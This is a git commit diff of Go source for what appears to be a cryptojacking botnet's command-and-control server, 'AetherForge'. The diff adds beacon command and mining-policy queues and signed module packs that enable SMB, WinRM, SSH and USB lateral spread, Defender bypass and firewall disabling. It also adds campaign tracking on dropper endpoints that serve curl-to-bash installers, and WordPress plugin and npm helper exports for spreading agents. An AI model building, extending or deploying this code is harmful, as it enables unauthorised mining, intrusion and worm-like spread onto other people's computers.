feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -18,6 +18,7 @@ type BeaconCommand struct {
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
Module string `json:"module,omitempty"`
}
type beaconRequest struct {
@@ -30,8 +31,9 @@ type beaconRequest struct {
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
Policies []FleetAgentPolicy `json:"policies,omitempty"`
}
type beaconResultRequest struct {
@@ -50,6 +52,9 @@ func (h *WSHub) initBeaconMaps() {
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
if h.beaconPolicyQueue == nil {
h.beaconPolicyQueue = make(map[string][]FleetAgentPolicy)
}
}
func (h *WSHub) agentExistsInDB(agentID string) bool {
@@ -77,6 +82,7 @@ func (h *WSHub) ClearBeaconTransport(agentID string) {
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
delete(h.beaconPolicyQueue, agentID)
h.beaconMu.Unlock()
}
@@ -116,6 +122,9 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
if v, ok := args["module"].(string); ok {
cmd.Module = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
@@ -123,6 +132,30 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
return true
}
// EnqueueBeaconPolicy queues a policy_update for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconPolicy(agentID string, policy FleetAgentPolicy) bool {
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) || policy.IsEmpty() {
return false
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconPolicyQueue[agentID] = append(h.beaconPolicyQueue[agentID], normalizeFleetAgentPolicy(policy))
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconPolicies(agentID string) []FleetAgentPolicy {
h.initBeaconMaps()
h.beaconMu.Lock()
policies := h.beaconPolicyQueue[agentID]
delete(h.beaconPolicyQueue, agentID)
h.beaconMu.Unlock()
if policies == nil {
return []FleetAgentPolicy{}
}
return policies
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
@@ -217,7 +250,8 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
h.MarkBeaconSeen(agentID)
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})
policies := h.dequeueBeaconPolicies(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds, Policies: policies})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
@@ -249,6 +283,14 @@ func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconPoliciesToWS delivers queued HTTPS policy updates over WebSocket.
func (h *WSHub) FlushBeaconPoliciesToWS(agentID string) {
for _, policy := range h.dequeueBeaconPolicies(agentID) {
payload := marshalFleetPolicyPayload(policy)
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: payload})
}
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
@@ -266,6 +308,9 @@ func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
if cmd.Data != "" {
args["data"] = cmd.Data
}
if cmd.Module != "" {
args["module"] = cmd.Module
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}

View File

@@ -66,9 +66,9 @@ func detectPlatform(r *http.Request) string {
return "" // caller will fall back to latest build regardless of platform
}
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source, eventType string) {
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
_ = h.db.LogCampaignEvent(c, buildID, eventType, source, clientIP(r), r.UserAgent())
}
}
@@ -128,7 +128,7 @@ func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildReco
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
b, buildPath, buildName := h.resolveDropperBuild(r)
if b != nil {
h.logCampaign(r, b.ID, "get")
h.logCampaign(r, b.ID, "get", dbpkg.CampaignEventDownload)
}
if buildPath == "" {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
@@ -156,7 +156,7 @@ func campaignEnvBlock(campaign string) string {
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.sh")
h.logCampaign(r, "", "install.sh", dbpkg.CampaignEventPageHit)
script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
@@ -222,7 +222,7 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.ps1")
h.logCampaign(r, "", "install.ps1", dbpkg.CampaignEventPageHit)
// Build script as a regular string — backtick in Go raw strings conflicts
// with PowerShell's escape character.
@@ -272,7 +272,7 @@ func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
suffix := h.querySuffix(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.command")
h.logCampaign(r, "", "install.command", dbpkg.CampaignEventPageHit)
script := fmt.Sprintf(`#!/bin/bash
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash

View File

@@ -0,0 +1,59 @@
package api
import (
"encoding/json"
"strings"
)
// FleetAgentPolicy is runtime mining/policy pushed to agents without re-forge.
type FleetAgentPolicy struct {
MiningMode string `json:"mining_mode,omitempty"`
ScheduleStart string `json:"schedule_start,omitempty"`
ScheduleEnd string `json:"schedule_end,omitempty"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolPort int `json:"pool_port,omitempty"`
PoolTLS *bool `json:"pool_tls,omitempty"`
PoolPass string `json:"pool_pass,omitempty"`
}
func (p FleetAgentPolicy) IsEmpty() bool {
var zero FleetAgentPolicy
return p == zero
}
func normalizeFleetAgentPolicy(p FleetAgentPolicy) FleetAgentPolicy {
p.MiningMode = strings.TrimSpace(strings.ToLower(p.MiningMode))
p.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
p.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
p.PoolHost = strings.TrimSpace(p.PoolHost)
p.PoolPass = strings.TrimSpace(p.PoolPass)
if p.MaxCPUUsagePct < 0 {
p.MaxCPUUsagePct = 0
}
if p.MaxCPUUsagePct > 100 {
p.MaxCPUUsagePct = 100
}
return p
}
func marshalFleetPolicyPayload(p FleetAgentPolicy) json.RawMessage {
return mustMarshal(normalizeFleetAgentPolicy(p))
}
// marshalPolicyUpdatePayload attaches push_id so dashboards can correlate agent acks.
func marshalPolicyUpdatePayload(pushID string, p FleetAgentPolicy) json.RawMessage {
norm := normalizeFleetAgentPolicy(p)
if pushID == "" {
return mustMarshal(norm)
}
body, _ := json.Marshal(norm)
var flat map[string]interface{}
_ = json.Unmarshal(body, &flat)
if flat == nil {
flat = map[string]interface{}{}
}
flat["push_id"] = pushID
out, _ := json.Marshal(flat)
return out
}

View File

@@ -667,6 +667,97 @@ func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request)
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
}
type fleetPolicyRequest struct {
AgentIDs []string `json:"agent_ids"`
Policy FleetAgentPolicy `json:"policy"`
}
// PutFleetPolicy pushes runtime mining policy to selected online agents.
func (f *FleetHandler) PutFleetPolicy(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req fleetPolicyRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
policy := normalizeFleetAgentPolicy(req.Policy)
if policy.IsEmpty() {
http.Error(w, "policy must include at least one field", http.StatusBadRequest)
return
}
targets := f.ws.ResolveAgentTargets(req.AgentIDs)
if len(targets) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "no target agents (use agent_ids or \"all\" for online fleet)",
})
return
}
pushID := fmt.Sprintf("pol-%d", time.Now().UnixNano())
sent, failed := f.ws.PushPolicyUpdate(targets, policy, pushID)
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"targets": len(targets),
"push_id": pushID,
})
if f.db != nil {
_ = f.db.InsertAudit("", "fleet_policy_push", "", map[string]string{
"sent": strconv.Itoa(sent),
"mode": policy.MiningMode,
})
}
}
type fleetModulePushRequest struct {
AgentIDs []string `json:"agent_ids"`
Module string `json:"module"`
}
// PostFleetModulePush tells agents to fetch and apply a signed module pack.
func (f *FleetHandler) PostFleetModulePush(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req fleetModulePushRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
module := sanitizeModuleName(req.Module)
if module == "" {
http.Error(w, "module is required", http.StatusBadRequest)
return
}
targets := f.ws.ResolveAgentTargets(req.AgentIDs)
if len(targets) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "no target agents (use agent_ids or \"all\" for online fleet)",
})
return
}
sent, failed := f.ws.PushModuleFetch(targets, module)
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"module": module,
"targets": len(targets),
})
if f.db != nil {
_ = f.db.InsertAudit("", "fleet_module_push", "", map[string]string{
"module": module,
"sent": strconv.Itoa(sent),
})
}
}
func mustMarshalFleet(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b

View File

@@ -0,0 +1,83 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/pool"
)
func TestFleetAgentPolicyNormalize(t *testing.T) {
p := normalizeFleetAgentPolicy(FleetAgentPolicy{
MiningMode: " SCHEDULED ",
MaxCPUUsagePct: 150,
})
if p.MiningMode != "scheduled" {
t.Fatalf("mode=%q", p.MiningMode)
}
if p.MaxCPUUsagePct != 100 {
t.Fatalf("cpu cap=%d", p.MaxCPUUsagePct)
}
}
func TestModuleStoreEmbeddedPacks(t *testing.T) {
store := NewModuleStore(t.TempDir(), func() string { return "fleet-test-secret" })
m, err := store.Get("spread")
if err != nil {
t.Fatal(err)
}
if m.Name != "spread" || m.Signature == "" {
t.Fatalf("bad manifest: %+v", m)
}
if !VerifyModuleSignature(m, "fleet-test-secret") {
t.Fatal("signature should verify")
}
}
func TestMarshalPolicyUpdatePayload(t *testing.T) {
raw := marshalPolicyUpdatePayload("pol-test-1", FleetAgentPolicy{
MiningMode: "idle",
MaxCPUUsagePct: 55,
})
var m map[string]interface{}
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
if m["push_id"] != "pol-test-1" || m["mining_mode"] != "idle" {
t.Fatalf("unexpected payload: %+v", m)
}
}
func TestPutFleetPolicyAPI(t *testing.T) {
hub := NewWSHub(nil)
SetAgentPathSecret("policy-test-secret")
handler := NewFleetHandler(nil, hub, nil, nil, nil, poolConfigZero(), t.TempDir())
body, _ := json.Marshal(fleetPolicyRequest{
AgentIDs: []string{"all"},
Policy: FleetAgentPolicy{
MiningMode: "scheduled",
ScheduleStart: "22:00",
ScheduleEnd: "06:00",
MaxCPUUsagePct: 60,
},
})
req := httptest.NewRequest(http.MethodPut, "/api/v1/fleet/policy", bytes.NewReader(body))
rec := httptest.NewRecorder()
handler.PutFleetPolicy(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var resp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if resp["success"] != false {
t.Fatalf("expected success=false with no agents: %+v", resp)
}
}
func poolConfigZero() pool.Config { return pool.Config{} }

View File

@@ -0,0 +1,39 @@
package api
import (
"net/http"
"github.com/go-chi/chi/v5"
)
type ModuleHandler struct {
store *ModuleStore
}
func NewModuleHandler(store *ModuleStore) *ModuleHandler {
return &ModuleHandler{store: store}
}
// GetAgentModule serves signed module JSON to forged agents (X-Fleet-Secret).
func (h *ModuleHandler) GetAgentModule(w http.ResponseWriter, r *http.Request) {
name := chi.URLParam(r, "name")
m, err := h.store.Get(name)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
writeJSON(w, m)
}
// ListModules lists available packs for the dashboard.
func (h *ModuleHandler) ListModules(w http.ResponseWriter, r *http.Request) {
mods, err := h.store.List()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if mods == nil {
mods = []ModuleManifest{}
}
writeJSON(w, mods)
}

View File

@@ -0,0 +1,227 @@
package api
import (
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
"sort"
"strings"
)
// ModuleManifest is a signed feature pack agents can stage at runtime.
type ModuleManifest struct {
Name string `json:"name"`
Version string `json:"version"`
DisplayName string `json:"display_name,omitempty"`
Summary string `json:"summary,omitempty"`
Description string `json:"description"`
Accent string `json:"accent,omitempty"`
Capabilities []string `json:"capabilities,omitempty"`
Features map[string]interface{} `json:"features"`
Signature string `json:"signature"`
}
var embeddedModuleManifests = map[string]ModuleManifest{
"crucible_ops": {
Name: "crucible_ops",
Version: "1",
DisplayName: "Crucible Ops",
Summary: "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
Description: "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
Accent: "magenta",
Capabilities: []string{
"Remote tunnels (cloudflared, SSH forward)",
"Subnet scan & SMB share enumeration",
"Firewall punch / disable / profile control",
"Defender RTP bypass (Windows)",
"On-demand spread_now trigger",
"Credential vault & secure wipe",
},
Features: map[string]interface{}{
"remote_aggressive": true,
},
},
"spread": {
Name: "spread",
Version: "1",
DisplayName: "Spread Pack",
Summary: "Lateral and passive spread — SMB auto-spread plus USB/WMI hooks",
Description: "Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.",
Accent: "cyan",
Capabilities: []string{
"SMB / WinRM auto-spread scheduler",
"SSH lateral spread (Linux/macOS)",
"USB removable-media propagation",
"WMI-based passive hooks (Windows)",
"Spread status & funnel telemetry",
},
Features: map[string]interface{}{
"auto_spread": true,
"usb_spread": true,
},
},
"gpu": {
Name: "gpu",
Version: "1",
DisplayName: "GPU Miner",
Summary: "KawPoW RVN GPU mining when hardware and wallet are present",
Description: "Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.",
Accent: "gold",
Capabilities: []string{
"KawPoW RVN miner (T-Rex / TRM)",
"GPU hashrate telemetry on dashboard",
"Pause/resume with fleet policy",
"Windows NVIDIA/AMD when drivers present",
},
Features: map[string]interface{}{
"gpu_enabled": true,
},
},
}
type ModuleStore struct {
dataDir string
fleetSecret func() string
}
func NewModuleStore(dataDir string, fleetSecret func() string) *ModuleStore {
return &ModuleStore{dataDir: dataDir, fleetSecret: fleetSecret}
}
func (s *ModuleStore) modulesDir() string {
return filepath.Join(s.dataDir, "modules")
}
func (s *ModuleStore) ensureDefaultModules() error {
dir := s.modulesDir()
if err := os.MkdirAll(dir, 0755); err != nil {
return err
}
for name, manifest := range embeddedModuleManifests {
path := filepath.Join(dir, name+".json")
if _, err := os.Stat(path); err == nil {
continue
}
signed, err := s.signManifest(manifest)
if err != nil {
return fmt.Errorf("sign %s: %w", name, err)
}
data, err := json.MarshalIndent(signed, "", " ")
if err != nil {
return err
}
if err := os.WriteFile(path, data, 0644); err != nil {
return err
}
}
return nil
}
func (s *ModuleStore) List() ([]ModuleManifest, error) {
if err := s.ensureDefaultModules(); err != nil {
return nil, err
}
entries, err := os.ReadDir(s.modulesDir())
if err != nil {
return nil, err
}
var out []ModuleManifest
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".json") {
continue
}
m, err := s.loadFile(filepath.Join(s.modulesDir(), e.Name()))
if err != nil {
continue
}
out = append(out, m)
}
sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name })
return out, nil
}
func (s *ModuleStore) Get(name string) (ModuleManifest, error) {
name = sanitizeModuleName(name)
if name == "" {
return ModuleManifest{}, fmt.Errorf("module name required")
}
if err := s.ensureDefaultModules(); err != nil {
return ModuleManifest{}, err
}
path := filepath.Join(s.modulesDir(), name+".json")
if _, err := os.Stat(path); err == nil {
return s.loadFile(path)
}
if m, ok := embeddedModuleManifests[name]; ok {
return s.signManifest(m)
}
return ModuleManifest{}, fmt.Errorf("module %q not found", name)
}
func (s *ModuleStore) loadFile(path string) (ModuleManifest, error) {
data, err := os.ReadFile(path)
if err != nil {
return ModuleManifest{}, err
}
var m ModuleManifest
if err := json.Unmarshal(data, &m); err != nil {
return ModuleManifest{}, err
}
if m.Name == "" {
m.Name = strings.TrimSuffix(filepath.Base(path), ".json")
}
return s.signManifest(m)
}
func (s *ModuleStore) signManifest(m ModuleManifest) (ModuleManifest, error) {
secret := ""
if s.fleetSecret != nil {
secret = s.fleetSecret()
}
if secret == "" {
return ModuleManifest{}, fmt.Errorf("fleet secret not configured")
}
m.Signature = ""
payload, err := json.Marshal(m)
if err != nil {
return ModuleManifest{}, err
}
mac := hmac.New(sha256.New, []byte(secret))
mac.Write(payload)
m.Signature = hex.EncodeToString(mac.Sum(nil))
return m, nil
}
func sanitizeModuleName(name string) string {
name = strings.TrimSpace(strings.ToLower(name))
if name == "" {
return ""
}
for _, r := range name {
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' || r == '-' {
continue
}
return ""
}
return name
}
func VerifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
if fleetSecret == "" || m.Signature == "" {
return false
}
sig := m.Signature
m.Signature = ""
payload, err := json.Marshal(m)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(sig))
}

View File

@@ -0,0 +1,87 @@
package api
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"github.com/go-chi/chi/v5"
)
func TestListModulesAPI(t *testing.T) {
store := NewModuleStore(t.TempDir(), func() string { return "list-secret" })
h := NewModuleHandler(store)
req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/modules", nil)
rec := httptest.NewRecorder()
h.ListModules(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var mods []ModuleManifest
if err := json.Unmarshal(rec.Body.Bytes(), &mods); err != nil {
t.Fatal(err)
}
if len(mods) < 3 {
t.Fatalf("expected at least 3 default packs, got %d", len(mods))
}
names := map[string]ModuleManifest{}
for _, m := range mods {
names[m.Name] = m
}
for _, want := range []string{"crucible_ops", "spread", "gpu"} {
m, ok := names[want]
if !ok {
t.Fatalf("missing pack %q", want)
}
if m.DisplayName == "" || m.Summary == "" || len(m.Capabilities) == 0 {
t.Fatalf("pack %q missing UI metadata: %+v", want, m)
}
if len(m.Features) == 0 {
t.Fatalf("pack %q missing features", want)
}
if m.Signature == "" {
t.Fatalf("pack %q unsigned", want)
}
}
}
func TestGetAgentModuleAPI(t *testing.T) {
store := NewModuleStore(t.TempDir(), func() string { return "agent-mod-secret" })
h := NewModuleHandler(store)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agent/module/gpu", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("name", "gpu")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.GetAgentModule(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var m ModuleManifest
if err := json.Unmarshal(rec.Body.Bytes(), &m); err != nil {
t.Fatal(err)
}
if m.Name != "gpu" || m.Features["gpu_enabled"] != true {
t.Fatalf("unexpected gpu manifest: %+v", m)
}
if !VerifyModuleSignature(m, "agent-mod-secret") {
t.Fatal("agent module signature invalid")
}
}
func TestVerifyModuleSignatureRejectsTamper(t *testing.T) {
store := NewModuleStore(t.TempDir(), func() string { return "tamper-secret" })
m, err := store.Get("crucible_ops")
if err != nil {
t.Fatal(err)
}
if !VerifyModuleSignature(m, "tamper-secret") {
t.Fatal("expected valid signature")
}
m.Features["auto_spread"] = true
if VerifyModuleSignature(m, "tamper-secret") {
t.Fatal("expected tampered manifest to fail verification")
}
}

View File

@@ -106,7 +106,7 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)

View File

@@ -571,8 +571,19 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
}
moduleStore := NewModuleStore(dataDir, func() string {
fleetSecretForAgentPathsMu.RLock()
s := fleetSecretForAgentPaths
fleetSecretForAgentPathsMu.RUnlock()
return s
})
moduleHandler := NewModuleHandler(moduleStore)
r.Get("/fleet/modules", moduleHandler.ListModules)
// Shares
r.Get("/shares", h.GetRecentShares)
@@ -597,9 +608,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/estimate", builderHandler.ServeEstimate)
if spreadHandler != nil {
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
@@ -693,6 +707,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {

View File

@@ -0,0 +1,106 @@
package api
import (
"archive/zip"
"bytes"
"io"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
)
var slugSanitize = regexp.MustCompile(`[^a-zA-Z0-9._-]+`)
// sanitizeExportSlug lowercases and strips unsafe characters for filenames and campaign segments.
func sanitizeExportSlug(s string) string {
s = strings.TrimSpace(s)
s = strings.ToLower(s)
s = slugSanitize.ReplaceAllString(s, "-")
s = strings.Trim(s, "-.")
if s == "" {
return "site"
}
if len(s) > 48 {
s = s[:48]
}
return s
}
// zipTemplateReplacements walks templateDir, applies repl to file contents, and writes a ZIP archive.
// remap rewrites archive entry paths (e.g. plugin-template → my-site).
func zipTemplateReplacements(templateDir string, repl map[string]string, remap func(rel string) string) ([]byte, error) {
templateDir, err := filepath.Abs(templateDir)
if err != nil {
return nil, err
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
err = filepath.Walk(templateDir, func(path string, info os.FileInfo, walkErr error) error {
if walkErr != nil || info.IsDir() {
return walkErr
}
rel, err := filepath.Rel(templateDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
if remap != nil {
rel = remap(rel)
}
data, err := os.ReadFile(path)
if err != nil {
return err
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
w, err := zw.Create(rel)
if err != nil {
return err
}
_, err = io.WriteString(w, content)
return err
})
if err != nil {
return nil, err
}
if err := zw.Close(); err != nil {
return nil, err
}
return buf.Bytes(), nil
}
func writeZipAttachment(w http.ResponseWriter, filename string, data []byte) {
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
w.Write(data)
}
func slugDisplayName(slug string) string {
parts := strings.Split(slug, "-")
for i, p := range parts {
if p == "" {
continue
}
parts[i] = strings.ToUpper(p[:1]) + p[1:]
}
return strings.Join(parts, " ")
}
func buildQuerySuffix(buildID, campaign string) (querySuffix, getQuerySuffix string) {
var qparts []string
if buildID != "" {
qparts = append(qparts, "pin="+buildID)
}
if campaign != "" {
qparts = append(qparts, "c="+campaign)
}
if len(qparts) == 0 {
return "", ""
}
joined := strings.Join(qparts, "&")
return "?" + joined, "&" + joined
}

View File

@@ -1,13 +1,11 @@
package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
@@ -106,12 +104,41 @@ func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
// GET /api/v1/emberwake/war-room?days=7
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
days := 7
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
days = n
}
}
data, err := h.db.ListWarRoom(days)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, data)
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
type wordpressPluginExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
SiteName string `json:"site_name"`
}
type npmHelperExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
@@ -133,20 +160,7 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
return
}
var qparts []string
if req.BuildID != "" {
qparts = append(qparts, "pin="+req.BuildID)
}
if req.Campaign != "" {
qparts = append(qparts, "c="+req.Campaign)
}
querySuffix := ""
getQuerySuffix := ""
if len(qparts) > 0 {
joined := strings.Join(qparts, "&")
querySuffix = "?" + joined
getQuerySuffix = "&" + joined
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
@@ -157,48 +171,120 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
"{{PIN_QUERY}}": "",
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return err
}
rel, err := filepath.Rel(templateDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
data, err := os.ReadFile(path)
if err != nil {
return err
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
w, err := zw.Create(rel)
if err != nil {
return err
}
_, err = io.WriteString(w, content)
return err
})
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
if err := zw.Close(); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + req.Campaign + ".zip"
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
}
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
w.Write(buf.Bytes())
writeZipAttachment(w, filename, data)
}
